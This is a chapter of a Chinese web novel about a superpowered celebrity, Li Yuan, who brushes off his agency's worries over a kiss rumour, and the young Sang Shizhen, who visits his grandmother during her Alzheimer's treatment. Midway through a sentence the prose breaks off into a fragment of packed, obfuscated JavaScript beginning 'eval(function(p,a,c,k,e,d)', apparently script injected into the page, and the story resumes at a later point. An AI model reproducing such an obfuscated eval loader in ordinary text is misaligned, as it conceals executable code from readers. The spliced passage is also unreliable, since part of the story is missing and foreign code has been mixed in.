衍绎映画的高管们却不能免俗,仍对这二位强劲的能力者心怀忌惮。明证之一,就是他们会极力避免一切必须和黎沅面对面的场合,尽可能采用远程交流方式进行沟通。 十点左右,黎沅到套房外间客厅,接入经纪公司发来的全息视讯会议。仿佛电影中的画面一般,空荡荡的长沙发上填充入数道光栅人影,姿态普遍紧绷,神色大多不安。 唯独黎沅本人漫不经心。他撩拨了下微湿的长发,支着肘斜倚在鎏金扶手上,将画面这边幻化成浪漫主义油画。 “说。”他言简意赅。 听完一轮控诉,他轻撩长睫,又只讲一个字:“不。” 对面据理力争,抬出由L.N.A主演、新近杀青很快将推入点映宣传期的4D电影《星盟探险队》第二部和即将筹备开机的老牌超英真人秀「王牌超英·奇迹巅峰对决」,恳请黎沅出面,为舆论风评、粉丝感受和公司盈利状况考虑、对遭到媒体严重误读、重创粉丝感情的最新要闻做澄清。 “不可能。”黎沅口吻温和,态度却不容推拒。显然,他是个谈判桌上的老手:“除了部分措辞失当的媒体,在这里,有谁,有任何人,做错过什么事吗?” “有任何事需要解释?” “要科普社交礼仪吗?” “还是为我的性取向开记者会公开致歉?” “怎么想都没办法答应你们吧。”他轻描淡写道,“容我提醒一句,我们的合约条款仍在有效期。我想做什么做什么。” “……还真好意思说啊。”沉寂两秒,有人不齿冷笑,“要不是上你的当昏了头,谁能同意签署那样一面倒的荒唐合同!?” 黎沅微笑不语。经纪人Amily敲了敲看不到的空气桌子,以理性态度将谈话引回正轨:“那么Leon,你预备怎么办?我想放任舆论发展,并不是这里的最优解。” 还是人工智能更好沟通啊。黎沅换了个姿势:“笑一笑吧各位。为何愁容不展呢?” “谁犯错,谁该蒙受责罚。”他轻飘飘地,“让做错事的人再也无法发声,问题迎刃而解。” 数名高管面色微沉,彼此打量一眼。Amily没有派系斗争之虑,她出言反对:“风险过高,不推崇这样的做法。东国和A国情况迥异,我们必须得谨言慎行,遵守、尊重本地法规法条……” “?你们不会在考虑怎么把人灭口吧?表情还真可怕。”黎沅挑起眉尾,故作惊讶,“我的意思是,让他们感受下金钱的威权和力量。” 所有人:“……”原来只是砸钱公关啊!!! 这就是所谓的想开窗就先拆屋顶……吗??? “一倍不够就加到十倍,十倍不够就加到百倍千倍。过去从我这里拿到多少?稍微动一只角出来摆平。对你们来说,这很轻松就能做得到吧?” “——也,请各位先有个心理准备。”黎沅转开视线,望向窗外的高天白云,心情不错地翘起唇角,“我想……” 这才只刚开始呢。 午后,东璞北港。 阳光洒落,将玻璃窗下一大片空地照得煌煌发白。双层保温玻璃驱除热气只留明亮日光,保持室内在舒适合宜的温度。 桑奶奶安静倚在床头,干瘪的手背上吊着点滴。夏天是万物生息的季节,她也顺应时节,稍长了点肉。 最近,她每周两次往返于太平港医院和天蛾角,参与针对阿兹海默的实验疗程。桑士桢的暑期课程安排也配合她的疗程,每周特意腾出两个下午,用以接送老人家来回。 高挑削薄的少年就着门边垃圾桶,在削一只苹果。水果刀一下一下,银光闪闪,机械重复着平移、切割的动作。 病床对面墙上,和晨间新闻差不多的内容换过播音员,再一次播出: 「据悉,昨日大使夫人在家中举办了一场别开生面的文化交流晚宴。文艺界知名人士共聚一堂,其中不乏最近炙手可热的人体高功能明星到场……」 桑奶奶好像在听,好像又没听进去。她总是这样沉默着,和外界保持不远不近的客套关系。 苹果皮连续不断,一圈一圈彩带似地盘绕吊挂下来。削完一只,桑士桢又拿另一只。硬质食物老人不容易下口,水果需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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该怎么办? “我靠啊。”他手忙脚乱扶住料理机,尽可能显得自己特别忙,试图掩饰谎言破灭的窘迫,“那什么疗法,想不到还真挺特么有用……真的假的——” “过来啊。”老妇人拖着长声,耐心催促他,“待在门边干嘛,来奶奶这边坐。” 桑士桢:“……” 他在原地愣了两秒,说,“好的,奶奶”。往前走出两步,他又想起身后被他捯饬半天却根本忘记插电的料理机,赶紧折回去先把机器启动。 食材欢欣鼓舞,彼此击掌,碰撞出细弱而喜悦的嗡鸣。苍老枯槁手指抚上似是而非的面庞,伪装脱落,阳光下现出线条锋利、浮着浅淡刀疤的真容。 “……怎么,你还真的是那个孩子啊。”老妇人感慨道,“我还说呢,每天去江边拾瓶子都见到那个满脸刀疤的小孩,怎么有一天人突然就不见了。还以为他出了什么意外……” “真是太好了。”她说。 桑士桢不敢动。他轻轻点头。老妇人噙着笑意,小心碰了碰桑士桢颊骨下方最鲜明一条疤痕,又问:“真没有和朋友吵架?” 桑士桢握着她的手,垂眼,摇了摇头。 要是真能吵架倒好了。 就他现在这样,怕不是连吵架的资格都没有。 走到哪都避不过的八卦要闻,每一个飘浮的字眼都被他掩耳盗铃吞下在唇齿间,弥散开一股挥之不去的辛涩苦意—— 黎沅是吧?黄金美杜莎是吧。费洛蒙之吻是吧! 摆出一副高高在上的架势,下嘴倒是挺快哈。 这才见第几面啊!? 差不多就要亲上了!!! ……是啊是啊,只是普通的社交礼仪,他知道。照片上的两人没有真正触碰到对方,他眼没瞎,也能看得出来。媒体为了吸引眼球什么狠话都敢放,什么“出柜”“情人”“官宣”,那全都是鬼扯,他一个字都不信。 可是,为什么。 一个吻。 浅尝辄止,仅仅只是嘴唇轻触的程度。 在他,是要深思熟悉,考虑过前后三十年的利害关系,预备好赌上自己一整个人生,才觉得能够担负得起的重量。 为什么却有人可以举重若轻,似蜻蜓掠水一点而过,全然不把这当成一回事? ——不公平。 他不甘心。 “要争取和好吧。”桑奶奶拍拍他,“ 你愿意做回自己,这是多好的事情啊……我想,你肯定是遇到了很好的人。” “没有血缘关系,你都和奶奶做成了家人。这样就要放弃吗?” 不知为什么,桑士桢觉得自己的手指有点抖。 “我……我想想办法。”他说。 “嗯。”老妇人柔声,“慢慢想想看。” ——归因往回,回溯至最基本的能量交换法则。 他需要什么? 你又能为他做到什么?